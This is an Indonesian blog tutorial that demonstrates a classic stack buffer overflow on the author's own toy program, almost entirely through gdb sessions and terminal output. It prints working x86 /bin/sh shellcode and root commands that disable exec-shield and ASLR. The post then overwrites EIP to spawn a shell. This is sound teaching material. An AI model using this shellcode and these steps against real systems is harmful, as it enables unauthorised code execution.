Artikel Terkini

Monday, September 10, 2012

buffer overflow (very) basic example

0 comments
Sepertinya kurang lengkap kemarin saya nulis artikel tentang membuat shellcode tanpa tau bigimana manfaatin shellcodenya hehe. Pada kesempatan kali ini saya akan menjelaskan contoh real bagaimana manfaatin shellcode itu dengan memanfaatkan bug sebuah program. Untuk teori buffer overflownya tidak akan dijelaskan secara detail lagi disini, rencananya saya cuma pengen nulis dan capture hasil nya aja tanpa basa basi heheh. Jadi diharapkan pembaca sudah mengetahui pembagian (segmentasi) memori, register-register processor, dan shellcode. Baiklah kita mulai saja men-demokan apa kah itu buffer overflow…
Teknik bufferflow adalah teknik untuk memenuhi buffer pada program dengan code yang kita inginkan sehingga melebihi kapasitas buffer. Hal ini terjadi karena tidak dilakukan validasi pada buffer ketika pengisian buffer akan dilakukan. Contoh analoginya: ambil air 500mL di gelas A untuk di tuang ke gelas B yang cuma 100mL dah. Biasanya akan ada warning “Segmentation Fault” dan program akan crash/exit. Sebenarnya kita bisa memanfaatkan segmentasi yang overrun ini untuk hal-hal yang lebih menyenangkan daripada sekedar lihat program crash dan exit.
Ini adalah program S9 = “sangat sederhana sekali sehingga saya selalu sedih saat showing-nya” haha. Program ini bekerja dengan cara membaca argumen yang dimasukkan user dan akan ditampung ke buffer A. Di dalam program akan dilakukan penyalinan buffer A ke buffer B. Tapi buffer B dirancang oleh sang programmer hanya bisa muat dengan 3 bytes data. Saya memasukkan “abc” ke buffer. Seperti ini lah tampilannya:
1inan@ubuntu:~/Desktop/bof/demo$ ./S9 abc
2[ATURAN] buffer B hanya bisa menampung 3 bytes data
3[BEFORE] ini buffer A masukan anda: abc
4[BEFORE] ini buffer B sekarang:
5[PROCESSING...] menyalin isi buffer A ke buffer B
6[AFTER] ini isi buffer A: abc
7[AFTER] ini isi buffer B: abc
8inan@ubuntu:~/Desktop/bof/demo$
Dan ketika kita coba memasukkan input yang lebih dari buffer B seperti terlihat di contoh ke-2 dibawah ini, saya memasukkan “abcdefghijklmnopqrstuvwxyz” terjadi segmentation fault pada program.
1inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmnopqrstuvwxyz
2[ATURAN] buffer B hanya bisa menampung 3 bytes data
3[BEFORE] ini buffer A masukan anda: abcdefghijklmnopqrstuvwxyz
4[BEFORE] ini buffer B sekarang:
5[PROCESSING...] menyalin isi buffer A ke buffer B
6[AFTER] ini isi buffer A: abcdefghijklmnopqrstuvwxyz
7[AFTER] ini isi buffer B: abcdefghijklmnopqrstuvwxyz
8Segmentation fault
9inan@ubuntu:~/Desktop/bof/demo$
Mari kita lihat program ini lewat GNU Debugger untuk examine memori lebih dalam dan untuk kebutuhan exploitasi kita.
01inan@ubuntu:~/Desktop/bof/demo$ gdb S9
02GNU gdb (GDB) 7.2
03Copyright (C) 2010 Free Software Foundation, Inc.
04License GPLv3+: GNU GPL version 3 or later
05This is free software: you are free to change and redistribute it.
06There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
07and "show warranty" for details.
08This GDB was configured as "i686-linux-gnu".
09For bug reporting instructions, please see:
11Reading symbols from /home/inan/Desktop/bof/demo/S9...(no debugging symbols found)...done.
12(gdb) run abcdefghijklmnopqrstuvwxyz
13Starting program: /home/inan/Desktop/bof/demo/S9 abcdefghijklmnopqrstuvwxyz
14[ATURAN] buffer B hanya bisa menampung 3 bytes data
15[BEFORE] ini buffer A masukan anda: abcdefghijklmnopqrstuvwxyz
16[BEFORE] ini buffer B sekarang:
17[PROCESSING...] menyalin isi buffer A ke buffer B
18[AFTER] ini isi buffer A: abcdefghijklmnopqrstuvwxyz
19[AFTER] ini isi buffer B: abcdefghijklmnopqrstuvwxyz
20 
21Program received signal SIGSEGV, Segmentation fault.
220x73727170 in ?? ()
23(gdb) info reg ebp eip
24ebp            0x6f6e6d6c 0x6f6e6d6c
25eip            0x73727170 0x73727170
Nah.. aturannya kan segmen memori untuk memproses program ini adalah:
  • Buffer: 3 bytes
  • Flags: 8 bytes
  • EBP: 4 bytes
  • RET/EIP: 4 bytes
  • Variable-variable lain (kalau ada)
Berarti teorinya kalau 3 byte pertama yang diterima adalah “abc”, terus karena isi buffer A masih banyak, terjadi overflow… Sehingga “defghijk” (8 bytes) menimpa isi Flags, “lmno” menimpa register EBP dan “pqrs” menimpa EIP. Nah setelah diinspeksi isi register ebp adalah 0x6f6e6d6c yang mana kalau di translasikan ke ASCII = “onml”. Lah kok kebalik bukan “lmno”? Ya, di memory semua diurut terbalik karena arsitektur sistem saya adalah menganut little endian format. Yah lanjut, kita cuekin saja isi register ebp karena singkatnya inti exploitasi buffer overflow adalah ingin menimpa register EIP dengan 4 bytes magic kita sendiri hahah. Yah isi eip untuk kasus di atas menjadi “srqp”. Berarti kesimpulannya untuk meng-overwrite EIP, “pqrs” harus kita ganti menjadi 4 bytes yang menuju ke instruksi yang kita inginkan (misalnya memanggil shell dsb).
Masih penasaran.. sekarang saya coba memasukkan karakter “abcdefghijklmnoAAAA” ke program S9 kita ini. Dengan harapan seperti ini:
  • Buffer: 3 bytes = abc
  • Flags: 8 bytes = defghijk
  • EBP: 4 bytes = lmno
  • RET/EIP: 4 bytes = AAAA
Inilah hasilnya ketika di debug dengan gdb..
01(gdb) run abcdefghijklmnoAAAA
02The program being debugged has been started already.
03Start it from the beginning? (y or n) y
04 
05Starting program: /home/inan/Desktop/bof/demo/S9 abcdefghijklmnoAAAA
06[ATURAN] buffer B hanya bisa menampung 3 bytes data
07[BEFORE] ini buffer A masukan anda: abcdefghijklmnoAAAA
08[BEFORE] ini buffer B sekarang:
09[PROCESSING...] menyalin isi buffer A ke buffer B
10[AFTER] ini isi buffer A: abcdefghijklmnoAAAA
11[AFTER] ini isi buffer B: abcdefghijklmnoAAAA
12 
13Program received signal SIGSEGV, Segmentation fault.
140x41414141 in ?? ()
15(gdb) info reg ebp eip
16ebp            0x6f6e6d6c   0x6f6e6d6c
17eip            0x41414141   0x41414141
18(gdb)
Oh benar saja ternyata eip sekarang berisi hexa 0×41414141. Apakah itu huruf “A” yang mengganti “pqrs” tadi? Ya huruf “A” dalam hexa adalah 0×41. Berarti sudah benar posisi target injeksi kita. Sekarang tinggal injeksi register EIP dengan address memori yang kita inginkan. Inget-inget… letaknya kalau diinjeksi dengan urutan abjad setelah huruf “o”. Berarti pola kita untuk meng-overwrite EIP unuk program ini adalah “15 bytes dummy data” + 4 bytes data spesial yang akan meng-overwrite EIP. Nah, bagaimana kalau kita mau overwrite EIP dengan hexa 0×42424242 di program ini? Berarti tinggal masukan saja argumen “abcdefghijklmnoBBBB” ke program. Ngerti kan? Hehe..
SPAWN A SHELL
Sekarang kita ke contoh bagaimana caranya program rutin yang error bisa memanggil sebuah shell? Pada contoh kali ini asumsi fitur proteksi eksekusi (exec_sheild dan randomize alamat memori pada kernel Linux sudah di matikan. Fitur exec-shield adalah untuk mencegah program mengeksekusi code diluar program. Sedangkan fitur randomize_va_space membuat alamat memori ketika menjalankan program akan menjadi random. Matikan itu semua! hahahah…
1root@ubuntu:~# cat /proc/sys/kernel/exec-shield
21
3root@ubuntu:~# cat /proc/sys/kernel/randomize_va_space
42
5root@ubuntu:~# echo 0 > /proc/sys/kernel/exec-shield
6root@ubuntu:~# echo 0 > /proc/sys/kernel/randomize_va_space
7root@ubuntu:~#
Salah satu cara eksploitasi program ini adalah dengan menyimpan sebuah variable yang isinya adalah shellcode ke environment global shell. Sehingga kita akan export variable baru bernama SC yang berisi shellcode kita. Setelah di export, variable SC ini akan tersimpan di lokasi memori tertentu dan lokasi memori inilah yang akan kita cari dan overwrite ke EIP. kita sudah tau bagaimana cara membuat shellcode hingga bisa nongol file shellcode.txt ini hehe.
01inan@ubuntu:~/Desktop/bof/demo$ cat shellcode.txt
02\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
03inan@ubuntu:~/Desktop/bof/demo$ for i in $(cat shellcode.txt | cut -d \" -f2); do echo -en $i; done > shellcode.bin
04inan@ubuntu:~/Desktop/bof/demo$ hexdump -C shellcode.bin
0500000000  31 c0 31 db 31 c9 31 d2  50 68 2f 2f 73 68 68 2f  |1.1.1.1.Ph//shh/|
0600000010  62 69 6e 89 e3 50 53 89  e1 31 d2 b0 0b cd 80     |bin..PS..1.....|
070000001f
08inan@ubuntu:~/Desktop/bof/demo$ export SC=$(cat shellcode.bin)
09inan@ubuntu:~/Desktop/bof/demo$
10inan@ubuntu:~/Desktop/bof/demo$
11inan@ubuntu:~/Desktop/bof/demo$ echo $SC
121?1?1?1?Ph//shh/bin??PS??1?
13 
14inan@ubuntu:~/Desktop/bof/demo$
Yak sudah tersimpan di environment dengan nama variable SC. Oke, sekarang mari kita kembali ke GNU Debug (gdb) untuk mencoba mencari lokasi SC dan mengambilnya untuk nantinya dimasukkan ke format inputan program “abcdefghijklmnoXXXX“.
01(gdb) run abcdefghijklmnopqrs
02Starting program: /home/inan/Desktop/bof/demo/S9 abcdefghijklmnopqrs
03[ATURAN] buffer B hanya bisa menampung 3 bytes data
04[BEFORE] ini buffer A masukan anda: abcdefghijklmnopqrs
05[BEFORE] ini buffer B sekarang:
06[PROCESSING...] menyalin isi buffer A ke buffer B
07[AFTER] ini isi buffer A: abcdefghijklmnopqrs
08[AFTER] ini isi buffer B: abcdefghijklmnopqrs
09 
10Program received signal SIGSEGV, Segmentation fault.
110x73727170 in ?? ()
12(gdb) x/60s $esp + 0x200
130xbffff5c0:  "S\357\226\372_\265\335Grf\212i686"
140xbffff5d0:  ""
150xbffff5d1:  ""
160xbffff5d2:  ""
170xbffff5d3:  ""
180xbffff5d4:  ""
190xbffff5d5:  ""
200xbffff5d6:  "/home/inan/Desktop/bof/demo/S9"
210xbffff5f5:  "abcdefghijklmnopqrs"
220xbffff609:  "ORBIT_SOCKETDIR=/tmp/orbit-inan"
230xbffff629:  "SSH_AGENT_PID=1357"
240xbffff63c:  "SHELL=/bin/bash"
250xbffff64c:  "TERM=xterm"
260xbffff657:  "XDG_SESSION_COOKIE=cfdd4f557767d56545519f8400000005-1324474801.529476-721973490"
270xbffff6a7:  "WINDOWID=60817411"
280xbffff6b9:  "GNOME_KEYRING_CONTROL=/tmp/keyring-FMmlCA"
290xbffff6e3:  "GTK_MODULES=canberra-gtk-module"
300xbffff703:  "USER=inan"
310xbffff70d:  "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31"...
320xbffff7d5:  ":*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:---Type  to continue, or q  to quit---
33*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.d"...
340xbffff89d:  "eb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35"...
350xbffff965:  ":*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4"...
360xbffffa2d:  "v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*."...
370xbffffaf5:  "yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;3"...
380xbffffbbd:  "6:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:"
390xbffffbfd:  "SSH_AUTH_SOCK=/tmp/keyring-FMmlCA/ssh"
400xbffffc23:  "USERNAME=inan"
410xbffffc31:  "SESSION_MANAGER=local/ubuntu:@/tmp/.ICE-unix/1327,unix/ubuntu:/tmp/.ICE-unix/1327"
420xbffffc83:  "DEFAULTS_PATH=/usr/share/gconf/gnome.default.path"
430xbffffcb5:  "COLUMNS=80"
440xbffffcc0:  "XDG_CONFIG_DIRS=/etc/xdg/xdg-gnome:/etc/xdg"
45---Type  to continue, or q  to quit---
460xbffffcec:  "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"
470xbffffd39:  "DESKTOP_SESSION=gnome"
480xbffffd4f:  "_=/usr/bin/gdb"
490xbffffd5e:  "PWD=/home/inan/Desktop/bof/demo"
500xbffffd7e:  "GDM_KEYBOARD_LAYOUT=us"
510xbffffd95:  "GNOME_KEYRING_PID=1308"
520xbffffdac:  "LANG=en_US.utf8"
530xbffffdbc:  "GDM_LANG=en_US.utf8"
540xbffffdd0:  "MANDATORY_PATH=/usr/share/gconf/gnome.mandatory.path"
550xbffffe05:  "LINES=24"
560xbffffe0e:  "GDMSESSION=gnome"
570xbffffe1f:  "SC=1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?"
580xbffffe42:  "HOME=/home/inan"
590xbffffe52:  "SHLVL=1"
600xbffffe5a:  "GNOME_DESKTOP_SESSION_ID=this-is-deprecated"
610xbffffe86:  "LOGNAME=inan"
620xbffffe93:  "DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-8Ey3roEp7D,guid=1bbb37e35c3cfc5e3669391000000061"
630xbffffef5:  "XDG_DATA_DIRS=/usr/share/gnome:/usr/local/share/:/usr/share/"
640xbfffff32:  "LESSOPEN=| /usr/bin/lesspipe %s"
650xbfffff52:  "WINDOWPATH=7"
66---Type  to continue, or q  to quit---
670xbfffff5f:  "DISPLAY=:0.0"
680xbfffff6c:  "LESSCLOSE=/usr/bin/lesspipe %s %s"
690xbfffff8e:  "COLORTERM=gnome-terminal"
700xbfffffa7:  "XAUTHORITY=/var/run/gdm/auth-for-inan-16kobl/database"
710xbfffffdd:  "/home/inan/Desktop/bof/demo/S9"
720xbffffffc:  ""
730xbffffffd:  ""
740xbffffffe:  ""
750xbfffffff:  ""
76(gdb)
Lihat secara seksama gdb di atas. Ternyata variable SC terletak di alamat memori 0xbffffe1f. Sebenarnya yang dibutuhkan tentu isi variable SC yang tak lain adalah perintah ke processor untuk mengeksekusi /bin/bash. Jadi processor tidak butuh karakter “SC=” nya. Jadi, isi variable SC ada di alamat memori mana? Gampang saja, tinggal tambahin alamat basisnya 0xbffffe1f dengan 3 bytes (SC=). Sehingga alamat memorinya ada di 0xbffffe22 (0xbffffe1f + 0×3 = 0xbffffe22). Ini buktinya:
1(gdb) x/ 0xbffffe1f
20xbffffe1f:  "SC=1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?"
3(gdb) x/ 0xbffffe20
40xbffffe20:  "C=1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?"
5(gdb) x/ 0xbffffe21
60xbffffe21:  "=1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?"
7(gdb) x/ 0xbffffe22
80xbffffe22:  "1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?"
9(gdb)
Ya, itulah target memori pasti kita.. ada di 0xbffffe22!! Mari coba sekali lagi gdb, mestinya kita bisa mendapatkan shell jika kita tepat memasukkan alamat tersebut ke EIP.
01(gdb) run abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
02Starting program: /home/inan/Desktop/bof/demo/S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
03[ATURAN] buffer B hanya bisa menampung 3 bytes data
04[BEFORE] ini buffer A masukan anda: abcdefghijklmno"???
05[BEFORE] ini buffer B sekarang:
06[PROCESSING...] menyalin isi buffer A ke buffer B
07[AFTER] ini isi buffer A: abcdefghijklmno"???
08[AFTER] ini isi buffer B: abcdefghijklmno"???
09process 2051 is executing new program: /bin/dash
10$ whoami
11inan
12$ uname
13Linux
14$ id
15uid=1000(inan) gid=1000(inan) groups=1000(inan),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare)
16$ pwd
17/home/inan/Desktop/bof/demo
18$ #pwn'ed!!
19$
Mari lihat runtutan cerita di atas ini dengan seksama. Seperti kita ketahui, bagi program S9 kita ini, untuk tepat menimpa register EIP adalah dengan memasukkan karakter pada buffer ke-16, 17, 18, dan 19 (“abcdefghijklmnoXXXX“). Sehingga yang akan kita lakukan adalah memasukkan karakter \xbf, \xff, \xfe, dan \x22 ke EIP sehingga EIP terisi 0xbffffe22 yang mana itu telah berisi shellcode perintah prosesor mengeksekusi /bin/sh.
1(gdb) run abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
Untuk memasukkan 0xbffffe22 ke EIP adalah seperti pada baris di atas itu. Saya menggunakan bantuan program perl untuk membantu print karakter hexa \x22 \xfe \xff \xbf ke dalam rangkaian inputan. Kalo diperhatikan, urutannya kebalik yah? Lagi-lagi karena sistem prosesor saya (Intel/AMD family) menganut paham little endian hahahah. Pada akhirnya EIP tertimpa dengan 0xbffffe22 dan return program bukan kembali ke main function program tetapi malah memanggil shell. Shell spawned.

Leave a Reply